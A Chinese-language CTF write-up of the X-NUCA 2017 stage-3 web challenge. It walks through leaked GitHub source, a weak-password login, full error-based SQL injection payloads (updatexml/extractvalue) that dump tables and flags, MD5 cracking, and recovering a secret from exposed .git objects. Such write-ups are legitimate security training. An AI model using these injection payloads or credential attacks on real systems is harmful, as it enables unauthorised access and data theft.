X-NUCA 2017第三期 WriteUp

时间:2022-04-27
本文章向大家介绍X-NUCA 2017第三期 WriteUp,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

我个人感觉这次题目质量是可以的,很模拟现实渗透场景,从外网到内网到域控,到达一定阶段给个flag

但是也有吐槽的点,主办方给8个小时,一共有12个关卡,到比赛结束,解题数量最多是5道题,到后面主办方急了,后面很多关还没有人做出来,然后主办方就疯狂给tip,类似于直接告诉你答案。。。很无语

前期信息收集

扫描+手工,整理链接

http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/home/index.php /home/about.php?id=1 /home/about.php?id=2 /home/services.php /home/portfolio.php /home/pricing.php /home/contact.php /home/administrator/ /home/administrator/index.php?action=login /home/administrator/inc/config.php /manager/ /manager/index.php /manager/inc/config.php /user/ /user/index.php /user/upload/

IP无法直接访问网站,应该是根据域名控制,扫描的是主机信息,与该web题联系不大

翻翻js发现敏感信息

上github搜用户名

https://github.com/l1Kai/user/

得到config.php的源码,以及第一个flag

运行试试,得到数据的解密方式

发现是调用eval运行的,看看到底运行了什么东西

运行得到,eval中运行的东西,也就是config.php的源码

该源码对后面解题没什么帮助

继续看github的commit记录

用同样的方式解密其余的config.php,得到第二个flag

这里的PRO_KEY对后面解题有帮助

社工+弱口令

github泄露了邮箱

在其中一个后台 http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/user/index.php 用邮箱 likai@youngin.uu.me 密码 likai

成功登陆,拿到第三个flag

然后在工作选项中有一个可以更新项目的点,这里就需要之前的PRO_KEY

username存在报错注入

'or(updatexml(2,concat(0x7e,(user())),0))or'

'or(linestring(proname))or'

得到当前库名,表名,列名

把已知列的内容显示出来

'or(updatexml(2,concat(0x7e,(select(group_concat(proname))from(kvm1.m_notice))),0))or'

'or(updatexml(2,concat(0x7e,(select(group_concat(username))from(kvm1.m_notice))),0))or'

'or(updatexml(2,concat(0x7e,(select(group_concat(content))from(kvm1.m_notice))),0))or'

感觉怪怪的,什么乱七八糟的东西

莫非flag在别的表?报错得到m_admin,m_user,m_notice,u_user 四个表

'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema=database())),1))or'

'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(column_name))from%0ainformation_schema.columns%0awhere%0atable_name='m_admin')),1))or'

最后发现flag在m_user表,但是报错注入一次只能显示32位,这里用substr()函数分两次显示

likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),1))from(m_user)))))or'

likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),15))from(m_user)))))or'

拼接得到第4个flag

flag{022f3f7f-a212-4456-b8c5-ce67ae9c2b83}

这次比赛由于时间和能力原因,只做出4道题

赛后交流,得知第5个flag是在m_admin表里面得到管理员的账号密码

wangfei 2389pass 安全码

登陆另一个后台得到第5个flag

第6个flag,还没人解出来,好像是文件上传+文件包含,毕竟时间有限

总结,以后打CTF的前一天晚上一定要早睡,23333

下为第五题补充(来自于 Pr0ph3t):

上一步拿到了m_admin的账号密码

其中有个用户叫wangfei 密码网上md5碰撞得到2389pass

admin的密码无法md5碰撞

然后去扫目录得到的manager目录登录发现还要安全码。。。

无奈再扫一遍目录发现.git存在

但是却没有index无法扒源码下来

但是.git进去之后却有index.html提示有objects/xxx

用过git的我们都知道其实objects就是每次add commit的代码片段

这是利用zlib的deflate压缩的https://ring0.me/2015/05/recover-code-from-corrupt-git-repo/

下载下来这个objects之后直接binwalk就可以识别并解压缩了解压缩出来之后是安全码,这里有坑。。。

我踩了好久。。。。

这个安全码是不用碰撞md5的。。。

以至于我碰撞完之后一直拿来登录都没用。。。

直接扔进去登录就行

最后一个flag没有记录。。。临近比赛结束。。。一刷新就没有了。。。